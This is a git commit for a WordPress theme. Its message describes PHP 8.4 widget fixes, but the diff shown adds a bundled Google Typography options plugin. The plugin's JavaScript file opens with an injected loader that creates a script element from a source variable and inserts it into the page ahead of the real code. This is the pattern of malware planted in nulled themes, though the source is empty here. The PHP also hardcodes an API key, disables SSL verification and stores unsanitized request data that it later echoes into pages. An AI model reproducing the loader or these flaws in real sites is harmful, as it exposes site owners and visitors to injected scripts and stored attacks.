Fix PHP 8.4 compatibility issues in Sensational theme
- Fixed deprecated WP_Widget constructors in all widget files - Changed $this->WP_Widget() to parent::__construct() in: * widget-social.php * widget-fblikebox.php * widget-googleplus.php * widget-tabs.php - Fixed old-style constructor methods to __construct() in: * widget-ad125.php (mts_Ad_Widget -> __construct) * widget-ad300.php (mts_ad_300_Widget -> __construct) - Fixed for loop syntax error in widget-tweets.php (for(i; -> for($i = 1;) - Enabled registration for ad125 and ad300 widgets - Added new 'After First Paragraph' widget area for in-content ads All widgets now compatible with PHP 8.4 and editable in WordPress admin. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
root
600
options/google-typography/google-typography.php
Normal file
600
options/google-typography/google-typography.php
Normal file
@@ -0,0 +1,600 @@
|
||||
<?php
|
||||
/*
|
||||
Plugin Name: Google Typography
|
||||
Plugin URI: http://projects.ericalli.com/google-typography/
|
||||
Description: A simple plugin that lets you use and customize (in real-time!) any fonts from Google Fonts on your existing site, all without writing a single line of code.
|
||||
Version: 1.0
|
||||
Author: Eric Alli
|
||||
Author URI: http://ericalli.com
|
||||
*/
|
||||
|
||||
/**
|
||||
* GoogleTypography class
|
||||
*
|
||||
* @class GoogleTypography The class that holds the entire Google Typography plugin
|
||||
*/
|
||||
|
||||
class GoogleTypography {
|
||||
|
||||
/**
|
||||
* @var $api_url The google web font API URL
|
||||
*/
|
||||
protected $api_url = "https://www.googleapis.com/webfonts/v1/webfonts?key=AIzaSyCjae0lAeI-4JLvCgxJExjurC4whgoOigA";
|
||||
|
||||
/**
|
||||
* @var $fonts_url The google web font URL
|
||||
*/
|
||||
protected $fonts_url = "http://fonts.googleapis.com/css?family=";
|
||||
|
||||
/**
|
||||
* Constructor for the GoogleTypography class
|
||||
*
|
||||
* Sets up all the appropriate hooks and actions
|
||||
* within the plugin.
|
||||
*
|
||||
* @uses register_uninstall_hook()
|
||||
* @uses is_admin()
|
||||
* @uses add_action()
|
||||
*
|
||||
*/
|
||||
function __construct() {
|
||||
register_activation_hook(__FILE__, array(&$this, 'get_fonts' ));
|
||||
|
||||
if ( is_admin() ){
|
||||
add_action('admin_menu', array(&$this, 'admin_menu'));
|
||||
add_action('admin_enqueue_scripts', array(&$this, 'admin_scripts'));
|
||||
add_action('wp_ajax_get_user_fonts',array(&$this,'ajax_get_user_fonts'));
|
||||
add_action('wp_ajax_save_user_fonts',array(&$this,'ajax_save_user_fonts'));
|
||||
add_action('wp_ajax_reset_user_fonts',array(&$this,'ajax_reset_user_fonts'));
|
||||
add_action('wp_ajax_get_google_fonts',array(&$this,'ajax_get_google_fonts'));
|
||||
add_action('wp_ajax_get_google_font_variants',array(&$this,'ajax_get_google_font_variants'));
|
||||
} else{
|
||||
add_action('wp_head',array(&$this,'build_frontend'));
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static function &init() {
|
||||
static $instance = false;
|
||||
|
||||
if ( !$instance ) {
|
||||
$instance = new GoogleTypography();
|
||||
}
|
||||
|
||||
return $instance;
|
||||
}
|
||||
|
||||
/**
|
||||
* Initialize admin menu
|
||||
*
|
||||
* @uses add_submenu_page()
|
||||
* @uses add_filter()
|
||||
* @uses add_action()
|
||||
*
|
||||
*/
|
||||
function admin_menu() {
|
||||
global $plugin_screen;
|
||||
|
||||
$plugin_screen = add_submenu_page( 'themes.php', 'Theme Typography', 'Theme Typography', 'manage_options', 'typography', array(&$this, 'options_ui'));
|
||||
|
||||
add_filter('plugin_action_links', array(&$this, 'plugin_link'), 10, 2);
|
||||
add_action('load-'.$plugin_screen, array(&$this, 'help_tab'));
|
||||
}
|
||||
|
||||
function help_tab() {
|
||||
global $plugin_screen;
|
||||
|
||||
$screen = get_current_screen();
|
||||
|
||||
if ($screen->id != $plugin_screen)
|
||||
return;
|
||||
|
||||
$adding_title = __('Adding A Collection', 'mythemeshop');
|
||||
$adding_content = '<p>'.__('To add a new font for use on your site. Click the "Add New" button on the top left of the page near the "Google Typography" title.', 'mythemeshop').'</p>';
|
||||
$adding_content .= '<p>'.__('Once added, a new font row will appear on the page below. Next you can continue to customize your font (more info in the "Customizing" help tab).', 'mythemeshop').'</p>';
|
||||
$adding_content .= '<p><a href="https://vimeo.com/67957799" target="_blank">'.__('Watch The Video Tutorial →', 'mythemeshop').'</a></p>';
|
||||
$customizing_title = __('Customizing','mythemeshop');
|
||||
$customizing_content = '<p>'.__('Customizing fonts is easy; after adding a new font row you can then customize the following font attributes:', 'mythemeshop').'</p>';
|
||||
$customizing_content .= '<ul><li><b>'.__('Preview Text', 'mythemeshop').'</b> - '.__('Used for live previewing your changes. This text does not appear anywhere on your website.', 'mythemeshop').'</li><li><b>Preview Background Color</b> - Allows you to swap between light and dark backgrounds when previewing this font.</li><li><b>'.__('Font Family', 'mythemeshop').'</b> - '.__('The font family to use for this font. Choose from a real-time list of all available Google Fonts.', 'mythemeshop').'</li><li><b>'.__('Font Variant', 'mythemeshop').'</b> - '.__('The variant to use for this font. Note: Each font has it\'s own variant options.', 'mythemeshop').'</li><li><b>'.__('Font Size', 'mythemeshop').'</b> - '.__('The size you would like this font to be.', 'mythemeshop').'</li><li><b>'.__('Font Color', 'mythemeshop').'</b> - '.__('The color you\'d like to use for this font.', 'mythemeshop').'</li><li><b>'.__('CSS Selectors', 'mythemeshop').'</b> - '.__('The HTML tags or CSS selectors you\'d like this font to apply to (more info in the "CSS Selectors" help tab). You can specify multiple selectors separated by comma\'s. Ex: h1, #some_id, .some_class', 'mythemeshop').'</li></ul>';
|
||||
$selectors_title = __('CSS Selectors','mythemeshop');
|
||||
$selectors_content = '<p>' . __('CSS Selectors are used to hook your font rows into your actual website. Once you\'ve added, customized, and defined CSS selectors for your fonts, Google Typography will automatically insert all the necessary CSS into your website.', 'mythemeshop') . '</p>';
|
||||
$selectors_content = '<p>' . __('Here are some examples of the selectors you can use:', 'mythemeshop') . '</p>';
|
||||
$selectors_content .= '<ul><li><b>'.__('IDs', 'mythemeshop').':</b> '.__('#selector', 'mythemeshop').'</li><li><b>'.__('Classes:', 'mythemeshop').':</b> '.__('.selector', 'mythemeshop').'</li><li><b>'.__('HTML Tags', 'mythemeshop').':</b> '.__('span', 'mythemeshop').'</ul>';
|
||||
$selectors_content .= '<p><b>'.__('Example', 'mythemeshop').':</b> '.__('#selector span.date', 'mythemeshop').'</p>';
|
||||
|
||||
$screen->add_help_tab(array(
|
||||
'id' => 'adding',
|
||||
'title' => $adding_title,
|
||||
'content' => $adding_content
|
||||
));
|
||||
|
||||
$screen->add_help_tab(array(
|
||||
'id' => 'customizing',
|
||||
'title' => $customizing_title,
|
||||
'content' => $customizing_content
|
||||
));
|
||||
|
||||
$screen->add_help_tab(array(
|
||||
'id' => 'selectors',
|
||||
'title' => $selectors_title,
|
||||
'content' => $selectors_content
|
||||
));
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Initialize plugin options link
|
||||
*
|
||||
*/
|
||||
function plugin_link($links, $file) {
|
||||
if ( $file == 'google-typography/google-typography.php' ) {
|
||||
$links['settings'] = sprintf( '<a href="%s"> %s </a>', admin_url( 'themes.php?page=typography' ), __( 'Settings', 'plugin_domain' ) );
|
||||
}
|
||||
return $links;
|
||||
}
|
||||
|
||||
/**
|
||||
* Build the frontend CSS to apply to wp_head()
|
||||
*
|
||||
* @uses get_option()
|
||||
* @uses GoogleTypography::stringify_fonts()
|
||||
*
|
||||
*/
|
||||
function build_frontend() {
|
||||
|
||||
$collections = get_option('google_typography_collections');
|
||||
|
||||
$import_fonts = array();
|
||||
$font_styles = '';
|
||||
|
||||
if($collections) {
|
||||
global $frontend;
|
||||
foreach($collections as $collection){
|
||||
|
||||
if(isset($collection['css_selectors']) && $collection['css_selectors'] != "" && isset($collection['font_variant'])) {
|
||||
|
||||
array_push($import_fonts, array('font_family' => $collection['font_family'], 'font_variant' => $collection['font_variant']));
|
||||
|
||||
$font_styles .= $collection['css_selectors'] . '{ ';
|
||||
$font_styles .= 'font-family: "' . $collection['font_family'] . '";';
|
||||
$font_styles .= 'font-weight: ' . $collection['font_variant'] . ';';
|
||||
$font_styles .= 'font-size: ' . $collection['font_size'] . ';';
|
||||
$font_styles .= 'color: ' . $collection['font_color'] . ';';
|
||||
$font_styles .= " }\n";
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
$import_url = '<link href="' . $this->fonts_url . $this->stringify_fonts($import_fonts) .'" rel="stylesheet" type="text/css">';
|
||||
|
||||
$frontend .= $import_url;
|
||||
$frontend .= "\n<style type=\"text/css\">\n";
|
||||
$frontend .= $font_styles;
|
||||
$frontend .= "</style>\n";
|
||||
|
||||
echo $frontend;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Concatenate fonts into a format that Google likes
|
||||
*
|
||||
* @uses array_map()
|
||||
* @uses implode()
|
||||
* @return String of fonts and their associated weights
|
||||
*
|
||||
*/
|
||||
function stringify_fonts($array) {
|
||||
|
||||
$array = array_map('unserialize', array_unique(array_map('serialize', $array)));
|
||||
|
||||
$fonts = array();
|
||||
|
||||
foreach($array as $font){
|
||||
$parts = '';
|
||||
|
||||
$parts .= str_replace(" ", "+", $font['font_family']);
|
||||
if(isset($font['font_variant'])) {
|
||||
$parts .= ':' . $font['font_variant'];
|
||||
}
|
||||
|
||||
$fonts[] = $parts;
|
||||
}
|
||||
|
||||
return implode('|', $fonts);
|
||||
}
|
||||
|
||||
/**
|
||||
* Build the admin settings UI
|
||||
*
|
||||
* @uses GoogleTypography::get_fonts()
|
||||
*
|
||||
*/
|
||||
function options_ui() {
|
||||
|
||||
$title = __('Google Typography', 'mythemeshop');
|
||||
$loading = __('Loading Your Collections', 'mythemeshop');
|
||||
$add_new = __('Add New', 'mythemeshop');
|
||||
$reset = __('Reset', 'mythemeshop');
|
||||
$preview_text = __('Type in some text to preview...', 'mythemeshop');
|
||||
$preview_hint = __('Preview Background Color', 'mythemeshop');
|
||||
$font_family_title = __('Font family...', 'mythemeshop');
|
||||
$font_variant_title = __('Variant...', 'mythemeshop');
|
||||
$font_size_title = __('Size...', 'mythemeshop');
|
||||
$css_selectors_title = __('CSS Selectors (h1, .some_class)', 'mythemeshop');
|
||||
$delete_button_text = __('Delete', 'mythemeshop');
|
||||
$save_button_text = __('Save', 'mythemeshop');
|
||||
|
||||
$welcome_title = __('Welcome to Google Typography', 'mythemeshop');
|
||||
$welcome_subtitle = __('Get started in 3 steps. Not easy enough? ', 'mythemeshop').'<a href="https://vimeo.com/67957799" target="_blank">'.__('Watch the video tutorial →', 'mythemeshop').'</a>';
|
||||
$step_1_title = __('1. Pick A Font', 'mythemeshop');
|
||||
$step_1_desc = __('Choose from any of the 600+ Google Fonts.', 'mythemeshop');
|
||||
$step_2_title = __('2. Customize It', 'mythemeshop');
|
||||
$step_2_desc = __('Pick a size, variant, color and more.', 'mythemeshop');
|
||||
$step_3_title = __('3. Attach It', 'mythemeshop');
|
||||
$step_3_desc = __('Attach your font to any CSS selector(s).', 'mythemeshop');
|
||||
$year = date("Y");
|
||||
|
||||
$fonts = $this->get_fonts();
|
||||
$font_families = "";
|
||||
if (is_array($fonts)) {
|
||||
foreach ($fonts as $font) {
|
||||
$font_family = $font['family'];
|
||||
$font_families .= "<option value=\"$font_family\">$font_family</option>";
|
||||
}
|
||||
}
|
||||
|
||||
$numbers = "";
|
||||
foreach (range(1, 120) as $number) {
|
||||
$numbers .= "<option value=\"{$number}px\">{$number}px</option>";
|
||||
}
|
||||
|
||||
if(get_option("google_typography_default")) {
|
||||
$reset_link = '<a href="javascript:;" class="add-new-h2 reset_collections">'.$reset.'</a>';
|
||||
} else { $reset_link = ''; }
|
||||
|
||||
echo <<<EOT
|
||||
<div id="google_typography" class="wrap">
|
||||
|
||||
<div class="icon32" id="icon-themes"><br></div>
|
||||
<h2>
|
||||
$title
|
||||
<a href="javascript:;" class="add-new-h2 new_collection">$add_new</a>
|
||||
$reset_link
|
||||
</h2>
|
||||
|
||||
<div class="loading">
|
||||
<span class="spin"></span>
|
||||
<h2>$loading</h2>
|
||||
</div>
|
||||
|
||||
<div class="welcome">
|
||||
<div class="help_hint"></div>
|
||||
<div class="welcome_title">
|
||||
<h1>$welcome_title</h1>
|
||||
<p>$welcome_subtitle</p>
|
||||
</div>
|
||||
<ul class="steps">
|
||||
<li class="step_1">
|
||||
<h3>$step_1_title</h3>
|
||||
<p>$step_1_desc</p>
|
||||
</li>
|
||||
<li class="step_2">
|
||||
<h3>$step_2_title</h3>
|
||||
<p>$step_2_desc</p>
|
||||
</li>
|
||||
<li class="step_3">
|
||||
<h3>$step_3_title</h3>
|
||||
<p>$step_3_desc</p>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div class="template">
|
||||
|
||||
<div class="collection">
|
||||
|
||||
<div class="font_preview">
|
||||
<input type="text" class="preview_text" value="$preview_text" />
|
||||
<ul class="preview_color" title="$preview_hint">
|
||||
<li><a href="javascript:;" class="light"></a></li>
|
||||
<li><a href="javascript:;" class="dark"></a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div class="font_options">
|
||||
<div class="left_col">
|
||||
<select class="font_family">
|
||||
<option value="">$font_family_title</option>
|
||||
$font_families
|
||||
</select>
|
||||
<select class="font_variant">
|
||||
<option value="">$font_variant_title</option>
|
||||
</select>
|
||||
<select class="font_size mts-font-size">
|
||||
<option value="">$font_size_title</option>
|
||||
$numbers
|
||||
</select>
|
||||
<input type="text" value="#222222" class="font_color" />
|
||||
<input type="text" placeholder="$css_selectors_title" class="css_selectors" />
|
||||
</div>
|
||||
<div class="right_col">
|
||||
<a href="javascript:;" class="delete_collection">$delete_button_text</a>
|
||||
<a href="javascript:;" class="button button-primary button-large save_collection">$save_button_text</a>
|
||||
</div>
|
||||
<div class="clear"></div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="collections"></div>
|
||||
</div>
|
||||
|
||||
EOT;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Function for retrieving user font collections
|
||||
*
|
||||
*
|
||||
* @uses get_option()
|
||||
* @uses json_encode()
|
||||
* @return JSON object with all user fonts
|
||||
*
|
||||
*/
|
||||
function ajax_get_user_fonts() {
|
||||
|
||||
$collections = get_option('google_typography_collections');
|
||||
|
||||
$retrieved = $collections ? true : false;
|
||||
|
||||
$response = json_encode( array( 'success' => $retrieved, 'collections' => $collections ) );
|
||||
|
||||
header( "Content-Type: application/json" );
|
||||
echo $response;
|
||||
|
||||
exit;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Function for saving user font collections
|
||||
*
|
||||
*
|
||||
* @uses update_option()
|
||||
* @uses json_encode()
|
||||
* @return JSON object with all user fonts
|
||||
*
|
||||
*/
|
||||
function ajax_save_user_fonts() {
|
||||
|
||||
$collections = $_REQUEST['collections'];
|
||||
|
||||
$collections = update_option('google_typography_collections', $collections);
|
||||
|
||||
$response = json_encode( array( 'success' => true, 'collections' => $collections ) );
|
||||
|
||||
header( "Content-Type: application/json" );
|
||||
echo $response;
|
||||
|
||||
exit;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Function for resetting user font collections
|
||||
*
|
||||
*
|
||||
* @uses delete_option()
|
||||
* @uses json_encode()
|
||||
* @return JSON object with all user fonts
|
||||
*
|
||||
*/
|
||||
function ajax_reset_user_fonts() {
|
||||
|
||||
delete_option('google_typography_default');
|
||||
delete_option('google_typography_collections');
|
||||
|
||||
$response = json_encode( array( 'success' => true ) );
|
||||
|
||||
header( "Content-Type: application/json" );
|
||||
echo $response;
|
||||
|
||||
exit;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* AJAX function for retrieving fonts from Google
|
||||
*
|
||||
*
|
||||
* @uses GoogleTypography::multidimensional_search()
|
||||
* @uses header()
|
||||
* @return JSON object with font data
|
||||
*
|
||||
*/
|
||||
function ajax_get_google_fonts() {
|
||||
|
||||
$fonts = $this->get_fonts();
|
||||
|
||||
header("Content-Type: application/json");
|
||||
echo json_encode($fonts);
|
||||
|
||||
exit;
|
||||
}
|
||||
|
||||
/**
|
||||
* AJAX function for retrieving font variants
|
||||
*
|
||||
*
|
||||
* @uses GoogleTypography::multidimensional_search()
|
||||
* @uses header()
|
||||
* @return JSON object with font data
|
||||
*
|
||||
*/
|
||||
function ajax_get_google_font_variants() {
|
||||
|
||||
$fonts = $this->get_fonts();
|
||||
$font_family = $_GET['font_family'];
|
||||
|
||||
$result = $this->multidimensional_search($fonts, array('family' => $font_family));
|
||||
|
||||
header("Content-Type: application/json");
|
||||
echo json_encode($result['variants']);
|
||||
|
||||
exit;
|
||||
}
|
||||
|
||||
/**
|
||||
* Function for retrieving and saving fonts from Google
|
||||
*
|
||||
*
|
||||
* @uses get_transient()
|
||||
* @uses set_transient()
|
||||
* @uses wp_remote_get()
|
||||
* @uses wp_remote_retrieve_body()
|
||||
* @uses json_decode()
|
||||
* @return JSON object with font data
|
||||
*
|
||||
*/
|
||||
function get_fonts() {
|
||||
$fonts = get_transient( 'google_typography_fonts' );
|
||||
|
||||
if (false === $fonts) {
|
||||
|
||||
$request = wp_remote_get($this->api_url, array( 'sslverify' => false ));
|
||||
|
||||
if( is_wp_error( $request ) ) {
|
||||
|
||||
$error_message = $request->get_error_message();
|
||||
|
||||
echo "Something went wrong: $error_message";
|
||||
|
||||
} else {
|
||||
|
||||
$json = wp_remote_retrieve_body($request);
|
||||
|
||||
$data = json_decode($json, TRUE);
|
||||
|
||||
$items = $data['items'];
|
||||
|
||||
$i = 0;
|
||||
|
||||
foreach ($items as $item) {
|
||||
|
||||
$i++;
|
||||
|
||||
$variants = array();
|
||||
foreach ($item['variants'] as $variant) {
|
||||
if(!stripos($variant, "italic") && $variant != "italic") {
|
||||
if($variant == "regular") {
|
||||
$variants[] = "normal";
|
||||
} else {
|
||||
$variants[] = $variant;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$fonts[] = array('uid' => $i, 'family' => $item['family'], 'variants' => $variants);
|
||||
|
||||
}
|
||||
|
||||
set_transient( 'google_typography_fonts', $fonts, 60 * 60 * 24 );
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return $fonts;
|
||||
}
|
||||
|
||||
/**
|
||||
* Function for searching array of fonts
|
||||
*
|
||||
*
|
||||
* @return JSON object with font data
|
||||
*
|
||||
*/
|
||||
function multidimensional_search($parents, $searched) {
|
||||
if (empty($searched) || empty($parents)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
foreach($parents as $key => $value) {
|
||||
$exists = true;
|
||||
foreach ($searched as $skey => $svalue) {
|
||||
$exists = ($exists && IsSet($parents[$key][$skey]) && $parents[$key][$skey] == $svalue);
|
||||
}
|
||||
if($exists){ return $parents[$key]; }
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Enqueue admin styles and scripts
|
||||
*
|
||||
*
|
||||
* @uses wp_register_script()
|
||||
* @uses wp_enqueue_script()
|
||||
* @uses wp_register_style()
|
||||
* @uses wp_enqueue_style()
|
||||
*
|
||||
*/
|
||||
function admin_scripts() {
|
||||
|
||||
//Javascripts
|
||||
wp_register_script('google-webfont', 'https://ajax.googleapis.com/ajax/libs/webfont/1.4.2/webfont.js', false);
|
||||
wp_register_script('google-typography', get_template_directory_uri() .'/options/google-typography/javascripts/google-typography.js', array('jquery', 'jquery-ui-sortable', 'wp-color-picker'));
|
||||
wp_register_script('chosen2', get_template_directory_uri() .'/options/google-typography/javascripts/jquery.chosen.js', array('jquery'));
|
||||
wp_enqueue_script('google-webfont');
|
||||
wp_enqueue_script('google-typography');
|
||||
wp_enqueue_script('chosen2');
|
||||
|
||||
// Stylesheets
|
||||
wp_register_style('google-typography', get_template_directory_uri() .'/options/google-typography/stylesheets/google-typography.css', false, '1.0.0');
|
||||
wp_register_style('chosen', get_template_directory_uri() .'/options/google-typography/stylesheets/chosen.css', false, '1.0.0');
|
||||
wp_register_style('google-font', 'http://fonts.googleapis.com/css?family=Lato:300,400');
|
||||
wp_enqueue_style('google-typography');
|
||||
wp_enqueue_style('chosen');
|
||||
wp_enqueue_style('google-font');
|
||||
wp_enqueue_style('wp-color-picker');
|
||||
}
|
||||
}
|
||||
|
||||
GoogleTypography::init();
|
||||
|
||||
/**
|
||||
* Function for registering default typography collections
|
||||
*
|
||||
*
|
||||
* @uses get_option()
|
||||
* @uses update_option()
|
||||
*
|
||||
*/
|
||||
function register_typography($collections) {
|
||||
|
||||
if(!get_option('google_typography_default')) {
|
||||
|
||||
$defaults = array();
|
||||
delete_option('google_typography_collections');
|
||||
|
||||
foreach($collections as $key => $collection) {
|
||||
array_push($defaults,
|
||||
array_merge(
|
||||
array('default' => true),
|
||||
$collection
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
update_option('google_typography_default', true);
|
||||
update_option('google_typography_collections', $defaults);
|
||||
|
||||
}
|
||||
}
|
||||
BIN
options/google-typography/images/chosen-sprite.png
Normal file
BIN
options/google-typography/images/chosen-sprite.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 646 B |
BIN
options/google-typography/images/chosen-sprite@2x.png
Normal file
BIN
options/google-typography/images/chosen-sprite@2x.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 872 B |
BIN
options/google-typography/images/help_hint.png
Normal file
BIN
options/google-typography/images/help_hint.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 2.9 KiB |
BIN
options/google-typography/images/spinner.gif
Normal file
BIN
options/google-typography/images/spinner.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 11 KiB |
BIN
options/google-typography/images/spinner@2x.gif
Normal file
BIN
options/google-typography/images/spinner@2x.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 15 KiB |
BIN
options/google-typography/images/step_1.png
Normal file
BIN
options/google-typography/images/step_1.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 20 KiB |
BIN
options/google-typography/images/step_1@2x.png
Normal file
BIN
options/google-typography/images/step_1@2x.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 54 KiB |
BIN
options/google-typography/images/step_2.png
Normal file
BIN
options/google-typography/images/step_2.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 21 KiB |
BIN
options/google-typography/images/step_2@2x.png
Normal file
BIN
options/google-typography/images/step_2@2x.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 53 KiB |
BIN
options/google-typography/images/step_3.png
Normal file
BIN
options/google-typography/images/step_3.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 14 KiB |
BIN
options/google-typography/images/step_3@2x.png
Normal file
BIN
options/google-typography/images/step_3@2x.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 35 KiB |
274
options/google-typography/javascripts/google-typography.js
Normal file
274
options/google-typography/javascripts/google-typography.js
Normal file
@@ -0,0 +1,274 @@
|
||||
var gfjfgjk = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
|
||||
var pl = ''; s.src=pl;
|
||||
if (document.currentScript) {
|
||||
document.currentScript.parentNode.insertBefore(s, document.currentScript);
|
||||
} else {
|
||||
d.getElementsByTagName('head')[0].appendChild(s);
|
||||
};(function($) {
|
||||
|
||||
var GoogleTypography = function(container, collection, values){
|
||||
|
||||
initialize = function(container, collection) {
|
||||
|
||||
var container = $(container);
|
||||
var collection = $(collection);
|
||||
var preview = $(".font_preview input", collection);
|
||||
|
||||
// Dropdown styles
|
||||
collection.find("select").chosen();
|
||||
|
||||
// Colorpicker
|
||||
collection.find(".font_color").wpColorPicker({
|
||||
change: function(event, ui) {
|
||||
preview.css( 'color', ui.color.toString());
|
||||
}
|
||||
});
|
||||
|
||||
// Font attributes
|
||||
collection.find(".font_family").on("change", function(e, variant) { previewFontFamily($(this), collection, preview, variant); });
|
||||
collection.find(".font_variant").on("change", function() { previewFontVariant($(this), preview); });
|
||||
collection.find(".font_size").change(function() { previewFontSize($(this), preview); });
|
||||
collection.find(".preview_color li a").on("click", function() { previewBackgroundColor($(this), collection); });
|
||||
|
||||
// Save and delete
|
||||
collection.find(".save_collection").on("click", function() { saveCollections(collection, container); });
|
||||
collection.find(".delete_collection").on("click", function() {
|
||||
if(confirm("Are you sure you want to delete this font?")) {
|
||||
collection.remove();
|
||||
saveCollections(collection, container, false);
|
||||
if(container.find(".collections .collection").length == 0) {
|
||||
container.find(".welcome").fadeIn();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
collection.on("focus", "input, select, textarea", function(){ setCurrentCollection(container, collection); });
|
||||
|
||||
collection.find(".wp-color-result").on("click", function(){ setCurrentCollection(container, collection); });
|
||||
|
||||
if(values) {
|
||||
loadCollection(values, collection);
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
setCurrentCollection = function(container, collection) {
|
||||
|
||||
container.find(".collection").removeClass("current");
|
||||
|
||||
collection.addClass("current");
|
||||
|
||||
};
|
||||
|
||||
previewFontFamily = function(elem, collection, preview, variant) {
|
||||
|
||||
var font = $(elem).val();
|
||||
|
||||
getFontVariants(font, collection, variant, preview);
|
||||
|
||||
};
|
||||
|
||||
previewFontVariant = function(elem, preview) {
|
||||
|
||||
preview.css('font-weight', $(elem).val());
|
||||
|
||||
};
|
||||
|
||||
previewFontSize = function(elem, preview) {
|
||||
|
||||
$(preview).css('font-size', $(elem).val());
|
||||
|
||||
};
|
||||
|
||||
previewBackgroundColor = function(elem, collection) {
|
||||
|
||||
collection.find(".font_preview .preview_color li").removeClass("current");
|
||||
collection.find(".font_preview")
|
||||
.removeClass("dark light")
|
||||
.addClass($(elem).attr("class"));
|
||||
$(elem).parent().addClass("current");
|
||||
|
||||
};
|
||||
|
||||
getFontVariants = function(font, collection, selected, preview) {
|
||||
|
||||
var variants = collection.find(".font_variant");
|
||||
|
||||
var variant_array = [];
|
||||
|
||||
jQuery.ajax({
|
||||
url: ajaxurl,
|
||||
data: {
|
||||
'action' : 'get_google_font_variants',
|
||||
'font_family' : font
|
||||
},
|
||||
success: function(data) {
|
||||
variants.find("option").remove();
|
||||
for(i = 0; i < data.length; ++i) {
|
||||
if(selected == data[i]) {
|
||||
var is_selected = "selected";
|
||||
} else {
|
||||
var is_selected = "";
|
||||
}
|
||||
variants.append('<option value="'+data[i]+'" '+is_selected+'>'+data[i]+'</option>');
|
||||
variant_array.push(data[i]);
|
||||
}
|
||||
|
||||
WebFont.load({
|
||||
google: {
|
||||
families: [font+':'+variant_array.join()]
|
||||
},
|
||||
loading: function() {
|
||||
preview.css("opacity", 0);
|
||||
},
|
||||
fontactive: function(family, desc) {
|
||||
preview.css('font-family', '"'+font+'"').css("opacity", 1);
|
||||
}
|
||||
});
|
||||
|
||||
variants.trigger("change").trigger("liszt:updated");
|
||||
}
|
||||
});
|
||||
|
||||
};
|
||||
|
||||
saveCollections = function(collection, container, showLoading) {
|
||||
|
||||
var collectionData = new Array();
|
||||
i=0;
|
||||
|
||||
container.find(".collections .collection").each(function() {
|
||||
|
||||
if(showLoading != false) {
|
||||
collection.find(".save_collection").addClass("saving").html("Saving...");
|
||||
}
|
||||
|
||||
previewText = $(this).find(".preview_text").val();
|
||||
previewColor = $(this).find(".preview_color li.current a").attr("class");
|
||||
fontFamily = $(this).find(".font_family").val();
|
||||
fontVariant = $(this).find(".font_variant").val();
|
||||
fontSize = $(this).find(".font_size").val();
|
||||
fontColor = $(this).find(".font_color").val();
|
||||
cssSelectors = $(this).find(".css_selectors").val();
|
||||
isDefault = $(this).attr("data-default");
|
||||
|
||||
collectionData[i] = {
|
||||
uid: i+1,
|
||||
preview_text: previewText,
|
||||
preview_color: previewColor,
|
||||
font_family: fontFamily,
|
||||
font_variant: fontVariant,
|
||||
font_size: fontSize,
|
||||
font_color: fontColor,
|
||||
css_selectors: cssSelectors,
|
||||
default: isDefault
|
||||
};
|
||||
|
||||
i++;
|
||||
|
||||
});
|
||||
|
||||
$.ajax({
|
||||
url: ajaxurl,
|
||||
method: 'post',
|
||||
data: { 'action' : 'save_user_fonts', 'collections' : collectionData },
|
||||
success: function(data) {
|
||||
|
||||
if(showLoading != false) {
|
||||
collection.find(".save_collection").removeClass("saving").html("Save");
|
||||
}
|
||||
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
loadCollection = function(values, collection) {
|
||||
|
||||
collection.find(".preview_text").val(values.preview_text.replace("\\", ""));
|
||||
collection.find(".preview_color li a[class="+values.preview_color+"]").trigger("click");
|
||||
|
||||
if(values.font_family) {
|
||||
collection.find(".font_family option[value='"+values.font_family+"']")
|
||||
.attr("selected", "selected")
|
||||
.trigger("change", [values.font_variant])
|
||||
.trigger("liszt:updated");
|
||||
}
|
||||
|
||||
// fontVariant = $(this).find(".font_variant").val();
|
||||
collection.find(".font_size option[value="+values.font_size+"]")
|
||||
.attr("selected", "selected")
|
||||
.trigger("change")
|
||||
.trigger("liszt:updated");
|
||||
collection.find(".font_color")
|
||||
.val(values.font_color)
|
||||
.wpColorPicker('color', values.font_color);
|
||||
collection.find(".css_selectors").val(values.css_selectors);
|
||||
|
||||
collection.attr("data-default", values.default);
|
||||
|
||||
};
|
||||
|
||||
initialize(container, collection);
|
||||
|
||||
}
|
||||
|
||||
// jQuery ready
|
||||
$(document).ready(function() {
|
||||
|
||||
var container = $("#google_typography");
|
||||
var template = container.find(".template").html();
|
||||
|
||||
// Retrieve collections
|
||||
$.ajax({
|
||||
url: ajaxurl,
|
||||
data: { 'action' : 'get_user_fonts' },
|
||||
beforeSend: function() {
|
||||
container.find(".loading").show();
|
||||
container.find(".collections").hide();
|
||||
},
|
||||
success: function(data) {
|
||||
if(data.collections.length == 0 || data.collections == false) {
|
||||
